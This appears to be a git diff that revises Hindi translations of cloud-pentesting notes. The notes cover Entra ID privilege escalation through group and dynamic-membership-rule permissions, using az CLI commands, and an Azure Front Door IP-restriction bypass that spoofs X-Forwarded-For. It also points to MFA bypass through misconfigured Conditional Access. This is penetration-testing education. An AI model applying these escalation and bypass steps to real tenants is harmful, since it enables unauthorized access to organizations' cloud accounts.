ध्यान दें कि उल्लेखित ब्लॉग कुछ सामान्य Microsoft डिफ़ॉल्ट अनुप्रयोगों के **API permissions** साझा करता है, हालाँकि इस रिपोर्ट के कुछ समय बाद Microsoft ने इस समस्या को ठीक कर दिया और अब Microsoft अनुप्रयोगों के रूप में लॉगिन करना संभव नहीं है। हालाँकि, अभी भी **उच्च विशेषाधिकार प्राप्त कस्टम अनुप्रयोगों को खोजना संभव है जिन्हें दुरुपयोग किया जा सकता है**।
|
||||
|
||||
---
|
||||
|
||||
## समूह
|
||||
## Groups
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
@@ -183,7 +191,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**नोट**: यह अनुमति Entra ID भूमिका-निर्धारण योग्य समूहों को बाहर करती है।
|
||||
**नोट**: यह अनुमति Entra ID भूमिका-निर्धारण समूहों को बाहर करती है।
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
@@ -193,7 +201,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
यह अनुमति एक गतिशील समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर गतिशील नियमों को संशोधित कर सकता है ताकि वह बिना स्पष्ट जोड़ने के विशेषाधिकार प्राप्त समूहों में शामिल हो सके।
|
||||
यह अनुमति एक गतिशील समूह में सदस्यता नियम को अपडेट करने की अनुमति देती है। एक हमलावर गतिशील नियमों को संशोधित कर सकता है ताकि वह बिना स्पष्ट जोड़ के विशेषाधिकार प्राप्त समूहों में शामिल हो सके।
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -208,7 +216,7 @@ az rest --method PATCH \
|
||||
|
||||
### डायनामिक समूह प्रिवेस्क
|
||||
|
||||
उपयोगकर्ताओं के लिए अपनी विशेषताओं को संशोधित करके डायनामिक समूहों के सदस्य के रूप में जोड़े जाने के लिए विशेषाधिकार बढ़ाना संभव हो सकता है। अधिक जानकारी के लिए देखें:
|
||||
उपयोगकर्ताओं के लिए अपनी विशेषताओं को संशोधित करके डायनामिक समूहों के सदस्यों के रूप में जोड़े जाने के लिए विशेषाधिकार बढ़ाना संभव हो सकता है। अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -242,7 +250,7 @@ az rest --method PATCH \
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
गलत कॉन्फ़िगर की गई कंडीशनल एक्सेस नीतियाँ जो MFA की आवश्यकता करती हैं, को बायपास किया जा सकता है, जाँच करें:
|
||||
गलत कॉन्फ़िगर की गई कंडीशनल एक्सेस नीतियाँ जो MFA की आवश्यकता होती हैं, को बायपास किया जा सकता है, जाँच करें:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
# Az - फ़ाइल शेयर
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RemoteAddr बायपास
|
||||
|
||||
यह **[ब्लॉग पोस्ट](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** बताता है कि जब आप Azure Front Door के साथ कुछ नेटवर्क प्रतिबंधों को कॉन्फ़िगर कर रहे होते हैं, तो आप **`RemoteAddr`** या **`SocketAddr`** के आधार पर फ़िल्टर कर सकते हैं। मुख्य अंतर यह है कि **`RemoteAddr`** वास्तव में **`X-Forwarded-For`** HTTP हेडर से मान का उपयोग करता है, जिससे इसे बायपास करना बहुत आसान हो जाता है।
|
||||
|
||||
इस नियम को बायपास करने के लिए स्वचालित उपकरणों का उपयोग किया जा सकता है जो **IP पतों को ब्रूट-फोर्स** करते हैं जब तक कि एक मान्य पता नहीं मिल जाता।
|
||||
|
||||
यह [Microsoft दस्तावेज़](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) में उल्लेखित है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user